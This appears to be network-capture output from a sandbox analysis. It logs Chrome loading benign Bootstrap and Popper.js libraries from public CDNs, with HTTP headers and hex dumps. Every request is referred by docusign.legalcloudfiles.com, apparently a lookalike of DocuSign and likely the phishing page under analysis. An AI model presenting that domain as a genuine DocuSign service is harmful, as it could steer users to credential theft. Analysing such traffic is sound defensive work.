2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 29 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 Data Ascii: )t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	51406	104.18.11.207	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:33 UTC	701	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://docusign.legalcloudfiles.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://docusign.legalcloudfiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:33 UTC	964	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:25:33 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.06 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/04/2024 01:55:10 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: b704b03fadb2b64f7d63e333700c367c CDN-Cache: HIT CF-Cache-Status: HIT Age: 6015 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 901efb92de38f5f7-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:25:33 UTC	405	IN	Data Raw: 37 62 65 66 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bef/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 Data Ascii: e(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineP
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c 65 6d Data Ascii: nction(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isElem
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 74 72 Data Ascii: =o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._destr
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 Data Ascii: (s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.s
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 Data Ascii: useenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item-p
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 79 Data Ascii: ,this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find(y
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c 43 Data Ascii: /input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},C
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f 76 Data Ascii: d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).remov
2025-01-14 16:25:34 UTC	1369	IN	Data Raw: 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 22 Data Ascii: TA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	51404	104.17.24.14	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:33 UTC	707	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://docusign.legalcloudfiles.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://docusign.legalcloudfiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:33 UTC	959	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:25:33 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 57167 Expires: Sun, 04 Jan 2026 16:25:33 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5IrmdHOhWHFyPsrvodF1%2B8NeStz4qbpDCeAnGjgS0F275TkJstau8xzuQ%2B%2Fhw%2B5SyBv9I2ycDGMN3vm03EB4f0hOpYEQd9zXCsHAlV9PCKhrqtlHjg7sFQDE6hyK76O85mFLGHrc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 901efb92daed43d3-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:25:33 UTC	410	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 Data Ascii: e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document'
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 Data Ascii: var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['borde
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e Data Ascii: :p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 Data Ascii: ht:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.wid
2025-01-14 16:25:33 UTC	1369	IN	Data Raw: 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e Data Ascii: .warn('`modifier.function` is deprecated, use `modifier.fn`!');var 